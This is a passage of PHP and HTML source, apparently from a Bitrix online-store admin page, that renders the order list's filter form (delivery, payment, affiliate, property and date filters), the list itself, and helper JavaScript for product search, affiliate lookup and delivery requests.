'order' => array("SORT"=>"ASC", "NAME"=>"ASC")
));
while ($deliveryService = $res->fetch())
{
if(intval($deliveryService['PARENT_ID']) == 0)
{
$deliveryServiceParentListParent[$deliveryService['ID']] = $deliveryService['NAME'];
}
elseif(class_exists($deliveryService['CLASS_NAME']) && $deliveryService['CLASS_NAME']::canHasProfiles())
{
$deliveryServiceParentListParent[$deliveryService['ID']] = $deliveryService['PARENT_NAME'].':'.$deliveryService['NAME'];
}
else
{
$deliveryServiceListAll[$deliveryService['PARENT_ID']][$deliveryService['ID']] = $deliveryService['NAME'];
}
}
foreach($deliveryServiceParentListParent as $deliveryServiceParentId => $deliveryServiceParentName)
{
if (!empty($deliveryServiceListAll[$deliveryServiceParentId]))
{
foreach($deliveryServiceListAll[$deliveryServiceParentId] as $deliveryServiceId => $deliveryServiceName)
{
$deliveryServiceList[$deliveryServiceId] = $deliveryServiceParentName.":".$deliveryServiceName;
}
}
else
{
$deliveryServiceList[$deliveryServiceParentId] = $deliveryServiceParentName;
}
}
if (!empty($deliveryServiceList))
{
foreach ($deliveryServiceList as $deliveryServiceId => $deliveryServiceName)
{
?><option title="<?echo htmlspecialcharsbx($deliveryServiceName);?>" value="<?echo htmlspecialcharsbx($deliveryServiceId)?>"<?if(is_array($filter_delivery_service) && in_array($deliveryServiceId, $filter_delivery_service)) echo " selected"?>>[<?echo htmlspecialcharsbx($deliveryServiceId) ?>] <?echo htmlspecialcharsbx($deliveryServiceName);?></option><?
}
}
?>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_PERSON_TYPE");?>:</td>
<td>
<select name="filter_person_type[]" multiple size="3">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<?
foreach ($personTypes as $personType):
?><option value="<?echo htmlspecialcharsbx($personType["ID"])?>"<?if(is_array($filter_person_type) && in_array($personType["ID"], $filter_person_type)) echo " selected"?>>[<?echo htmlspecialcharsbx($personType["ID"]) ?>] <?echo htmlspecialcharsbx($personType["NAME"])?> <?echo "(".htmlspecialcharsbx($personType["LID"]).")";?></option><?
endforeach;
?>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_CANCELED")?>:</td>
<td>
<select name="filter_canceled">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<option value="Y"<?if($filter_canceled=="Y") echo " selected"?>><?echo Loc::getMessage("SALE_YES")?></option>
<option value="N"<?if($filter_canceled=="N") echo " selected"?>><?echo Loc::getMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_DEDUCTED")?>:</td>
<td>
<select name="filter_deducted">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<option value="Y"<?if($filter_deducted=="Y") echo " selected"?>><?echo Loc::getMessage("SALE_YES")?></option>
<option value="N"<?if($filter_deducted=="N") echo " selected"?>><?echo Loc::getMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_ALLOW_DELIVERY")?>:</td>
<td>
<select name="filter_allow_delivery">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<option value="Y"<?if($filter_deducted=="Y") echo " selected"?>><?echo Loc::getMessage("SALE_YES")?></option>
<option value="N"<?if($filter_deducted=="N") echo " selected"?>><?echo Loc::getMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_DATE_PAID");?>:</td>
<td>
<?echo CalendarPeriod("filter_date_paid_from", $filter_date_paid_from, "filter_date_paid_to", $filter_date_paid_to, "find_form", "Y")?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_DATE_ALLOW_DELIVERY");?>:</td>
<td>
<?echo CalendarPeriod("filter_date_allow_delivery_from", $filter_date_allow_delivery_from, "filter_date_allow_delivery_to", $filter_date_allow_delivery_to, "find_form", "Y")?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_MARKED")?>:</td>
<td>
<select name="filter_marked">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<option value="Y"<?if($filter_marked=="Y") echo " selected"?>><?echo Loc::getMessage("SALE_YES")?></option>
<option value="N"<?if($filter_marked=="N") echo " selected"?>><?echo Loc::getMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_USER_ID");?>:</td>
<td>
<?echo FindUserID("filter_user_id", $filter_user_id, "", "find_form");?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_USER_LOGIN");?>:</td>
<td>
<input type="text" name="filter_user_login" value="<?echo htmlspecialcharsbx($filter_user_login)?>" size="40">
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_USER_EMAIL");?>:</td>
<td>
<input type="text" name="filter_user_email" value="<?echo htmlspecialcharsbx($filter_user_email)?>" size="40">
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_USER_GROUP_ID")?>:</td>
<td>
<?
$z = CGroup::GetDropDownList("AND ID!=2");
echo SelectBoxM("filter_group_id[]", $z, $filter_group_id, "", false, 5);
?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SO_PRODUCT_ID")?></td>
<td>
<script type="text/javascript">
function FillProductFields(arParams)
{
if(arParams["id"])
document.find_form.filter_product_id.value = arParams["id"];
el = document.getElementById("product_name_alt");
if(el)
el.innerHTML = arParams["name"] ? arParams["name"] : '';
}
function showProductSearchDialog()
{
var popup = makeProductSearchDialog({
caller: 'order',
lang: '<?=LANGUAGE_ID?>',
callback: 'FillProductFields'
});
popup.Show();
}
function makeProductSearchDialog(params)
{
var caller = params.caller || '',
lang = params.lang || 'ru',
site_id = params.site_id || '',
callback = params.callback || '',
store_id = params.store_id || '0';
var popup = new BX.CDialog({
content_url: '/bitrix/tools/sale/product_search_dialog.php?lang='+lang+'&LID='+site_id+'&caller=' + caller + '&func_name='+callback+'&STORE_FROM_ID='+store_id,
height: Math.max(500, window.innerHeight-400),
width: Math.max(800, window.innerWidth-400),
draggable: true,
resizable: true,
min_height: 500,
min_width: 800
});
BX.addCustomEvent(popup, 'onWindowRegister', BX.defer(function(){
popup.Get().style.position = 'fixed';
popup.Get().style.top = (parseInt(popup.Get().style.top) - BX.GetWindowScrollPos().scrollTop) + 'px';
}));
return popup;
}
</script>
<input name="filter_product_id" value="<?= htmlspecialcharsbx($filter_product_id) ?>" size="5" type="text"> <input type="button" value="..." id="cat_prod_button" onClick="showProductSearchDialog()"><span id="product_name_alt" class="adm-filter-text-search"></span>
</td>
</tr>
<tr>
<td><?= Loc::getMessage("SO_PRODUCT_XML_ID") ?>:</td>
<td><input name="filter_product_xml_id" value="<?= htmlspecialcharsbx($filter_product_xml_id) ?>" size="40" type="text"></td>
</tr>
<tr>
<td><?= Loc::getMessage("SO_AFFILIATE_ID") ?>:</td>
<td>
<input type="text" name="filter_affiliate_id" value="<?= htmlspecialcharsbx($filter_affiliate_id) ?>" size="10" maxlength="10">
<IFRAME name="hiddenframe_affiliate" id="id_hiddenframe_affiliate" src="" width="0" height="0" style="width:0px; height:0px; border: 0px"></IFRAME>
<input type="button" class="button" name="FindAffiliate" OnClick="window.open('/bitrix/admin/sale_affiliate_search.php?func_name=SetAffiliateID', '', 'scrollbars=yes,resizable=yes,width=800,height=500,top='+Math.floor((screen.height - 500)/2-14)+',left='+Math.floor((screen.width - 400)/2-5));" value="...">
<span id="div_affiliate_name"></span>
<script type="text/javascript">
function SetAffiliateID(id)
{
document.find_form.filter_affiliate_id.value = id;
}
function SetAffiliateName(val)
{
if(val != "NA")
document.getElementById('div_affiliate_name').innerHTML = val;
else
document.getElementById('div_affiliate_name').innerHTML = '<?= Loc::getMessage("SO1_NO_AFFILIATE") ?>';
}
var affiliateID = '';
function ChangeAffiliateName()
{
if(affiliateID != document.find_form.filter_affiliate_id.value)
{
affiliateID = document.find_form.filter_affiliate_id.value;
if(affiliateID != '' && !isNaN(parseInt(affiliateID, 10)))
{
document.getElementById('div_affiliate_name').innerHTML = '<i><?= Loc::getMessage("SO1_WAIT") ?></i>';
window.frames["hiddenframe_affiliate"].location.replace('/bitrix/admin/sale_affiliate_get.php?ID=' + affiliateID + '&func_name=SetAffiliateName');
}
else
document.getElementById('div_affiliate_name').innerHTML = '';
}
timerID = setTimeout('ChangeAffiliateName()',2000);
}
ChangeAffiliateName();
</script>
</td>
</tr>
<tr>
<td><?= Loc::getMessage("SALE_ORDER_LIST_HEADER_NAME_COUPONS") ?>:</td>
<td><input name="filter_discount_coupon" value="<?= htmlspecialcharsbx($filter_discount_coupon) ?>" size="40" type="text"></td>
</tr>
<tr>
<td><?= Loc::getMessage("SO_SUM_PAID") ?>:</td>
<td>
<select name="filter_sum_paid">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<option value="Y"<?if($filter_sum_paid=="Y") echo " selected"?>><?echo Loc::getMessage("SALE_YES")?></option>
<option value="N"<?if($filter_sum_paid=="N") echo " selected"?>><?echo Loc::getMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?=Loc::getMessage('SO_XML_ID')?>:</td>
<td>
<input type="text" name="filter_xml_id" value="<?echo htmlspecialcharsbx($filter_xml_id)?>" size="40">
</td>
</tr>
<tr>
<td><?=Loc::getMessage('SOA_TRACKING_NUMBER')?>:</td>
<td>
<input type="text" name="filter_tracking_number" value="<?echo htmlspecialcharsbx($filter_tracking_number)?>" size="40">
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_DELIVERY_DOC_DATE");?>:</td>
<td>
<?echo CalendarPeriod("filter_delivery_doc_date_from", $filter_delivery_doc_date_from, "filter_delivery_doc_date_to", $filter_delivery_doc_date_to, "find_form", "Y")?>
</td>
</tr>
<?
$tPlatformList = array(
0 => Loc::getMessage("SALE_F_ALL"),
-1 => Loc::getMessage("SALE_F_NONE")
);
$dbRes = Bitrix\Sale\TradingPlatformTable::getList(array(
'select' => array('ID', 'NAME')
));
while($tPlatform = $dbRes->fetch())
$tPlatformList[$tPlatform['ID']] = $tPlatform['NAME'];
?>
<tr>
<td><?= Loc::getMessage("SALE_F_SOURCE") ?>:</td>
<td>
<select name="filter_source">
<?foreach($tPlatformList as $id => $name):?>
<option value="<?=$id?>"<?=$filter_source == $id ? ' selected' : ''?>><?=$name?></option>
<?endforeach;?>
</select>
</td>
</tr>
<tr>
<td><?=Loc::getMessage("SALE_F_COMPANY_ID") ?>:</td>
<td>
<select name="filter_company_id">
<option value=""><?=Loc::getMessage("SALE_F_ALL") ?></option>
<?foreach($companyListNames as $id => $name):?>
<option value="<?=$id?>"<?=$filter_company_id == $id ? ' selected' : ''?>><?=$name?></option>
<?endforeach;?>
</select>
</td>
</tr>
<tr>
<td><?= Loc::getMessage("SALE_F_RESPONSIBLE_ID") ?>:</td>
<td>
<?echo FindUserID("filter_responsible_id", $filter_responsible_id, "", "find_form");?>
</td>
</tr>
<?
foreach ($orderPropertyFilterList as $key => $value)
{
if($value["IS_FILTERED"] == "Y" && $value["TYPE"] != "MULTIPLE")
{
?>
<tr>
<td valign="top"><?= htmlspecialcharsbx($value["NAME"]) ?>:
<?
if ($isManyPersonTypes)
{
?><small><?=(htmlspecialcharsbx($value["PERSON_TYPE_NAME"])." [".htmlspecialcharsbx($value["LID"])."]")?></small><?
}
?></td>
<td valign="top" style="overflow: visible; ">
<?
$inputParams = $value["SETTINGS"];
$inputParams["TYPE"] = $value["TYPE"];
$inputParams["IS_FILTER_FIELD"] = true;
if($value["TYPE"] == "ENUM")
{
$inputParams["OPTIONS"] = array("" => Loc::getMessage("SALE_F_ALL"));
$inputParams["OPTIONS"] = $inputParams["OPTIONS"] + \Bitrix\Sale\PropertyValue::loadOptions($value["ID"]);
}
echo \Bitrix\Sale\Internals\Input\Manager::getFilterEditHtml(
"filter_prop_".$key,
$inputParams,
${"filter_prop_".$key}
);
?>
<?=ShowFilterLogicHelp()?>
</td>
</tr>
<?
}
}
$oFilter->Buttons(
array(
"table_id" => $sTableID,
"url" => $APPLICATION->GetCurPage(),
"form" => "find_form"
)
);
$oFilter->End();
?>
</form>
<div class="adm-c-bigdatabar" id="bigdatabar">
<?=$bigdataWidgetHtml?>
</div>
<?
$lAdmin->DisplayList();
echo BeginNote();
?>
<span id="order_sum"><? echo $order_sum;?></span>
<script type="text/javascript">
function sendDeliveryRequestsForCurrentOrders(selectedOnly)
{
var ordersListForm = BX('form_tbl_sale_order');
if(BX('tbl_sale_order_check_all') && ordersListForm)
{
if(!selectedOnly)
{
BX.fireEvent(BX('tbl_sale_order_check_all'), 'click');
}
else
{
var selected = BX('tbl_sale_order_selected_count');
if(selected && !BX.hasClass(selected, 'adm-table-counter-visible'))
{
alert("<?=Loc::getMessage('SALE_O_CONTEXT_B_DELIVERY_REQUESTS_SELECTION_NEEDED')?>");
return;
}
}
if(ordersListForm.action)
{
ordersListForm.action.value='delivery_requests';
BX.fireEvent(ordersListForm.action, 'change');
if(ordersListForm.apply)
BX.fireEvent(ordersListForm.apply, 'click');
}
}
}
</script>
<?$spotlight = new \Bitrix\Main\UI\Spotlight("DELIVERY_REQUESTS_ADDED");?>
<?if(!$spotlight->isViewed($USER->GetID())):?>
<?\CJSCore::init("spotlight");?>
<script type="text/javascript">
BX.ready(
function() {
var elem = document.getElementsByClassName('adm-list-table-top');
if(!elem[0] || !elem[0].nodeName || elem[0].nodeName !== 'DIV')
return;
var target = null;
for (var i = 0; i < elem[0].childNodes.length; i++)
{
if(elem[0].childNodes[i].innerHTML === "<?=Loc::getMessage("SALE_O_CONTEXT_B_DELIVERY_REQUESTS")?>")
{
target = elem[0].childNodes[i];
break;
}
}
if(target)
{
var deliveryRequestSpotlight = new BX.SpotLight({
targetElement: target,
targetVertex: "middle-center",
content: "<?=Loc::getMessage('SALE_O_CONTEXT_B_DELIVERY_REQUESTS_SL')?>",
id: "DELIVERY_REQUESTS_ADDED",
autoSave: true
});
deliveryRequestSpotlight.show();
}
});
</script>
<?endif;?>
<?echo EndNote();
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");